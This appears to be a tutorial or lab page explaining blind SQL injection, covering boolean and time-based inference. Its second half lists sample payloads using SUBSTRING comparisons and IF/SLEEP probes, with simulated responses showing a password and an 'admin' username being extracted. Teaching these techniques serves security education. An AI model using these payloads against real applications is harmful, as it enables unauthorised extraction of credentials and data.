Many modern applications do not display database errors or query results directly. Error messages are suppressed, and output is generic. But even when an application shows nothing useful, an attacker can still extract entire databases using blind injection techniques.
Blind SQL injection works by asking the database yes/no questions and observing how the application responds. If the application behaves differently depending on whether a condition is true or false, the attacker can infer data one piece at a time.
The application shows different content for TRUE vs FALSE conditions. By testing AND 1=1 vs AND 1=2, the attacker detects differences in the page response.
When even boolean differences are hidden, attackers use SLEEP(3) to make the database pause. A 3-second delay means TRUE; an instant response means FALSE.
Functions like SUBSTRING(password,1,1)='a' let attackers test each character position individually, extracting full strings over many requests.
Blind injection is slower but equally dangerous. Automated tools like sqlmap can extract a full database in minutes using blind techniques. Most real-world SQL injections are blind.
1 AND SUBSTRING(password,1,1)='s' → Profile shows (TRUE! First char is 's')1 AND SUBSTRING(password,2,1)='3' → Profile shows (TRUE! Second char is '3')1 AND SUBSTRING(password,3,1)='c' → Profile shows (TRUE! Third char is 'c')SLEEP() or IF() to determine whether a users table exists. A noticeable delay = TRUE.
' AND IF(EXISTS(SELECT * FROM users), SLEEP(3), 0)--' AND IF(EXISTS(SELECT * FROM fake_table), SLEEP(3), 0)--1 AND SUBSTRING(username,1,1)='a' → TRUE! Position 1 = 'a'1 AND SUBSTRING(username,2,1)='d' → TRUE! Position 2 = 'd'1 AND SUBSTRING(username,3,1)='m' → TRUE! Position 3 = 'm'1 AND SUBSTRING(username,4,1)='i' → TRUE! Position 4 = 'i'1 AND SUBSTRING(username,5,1)='n' → TRUE! Position 5 = 'n'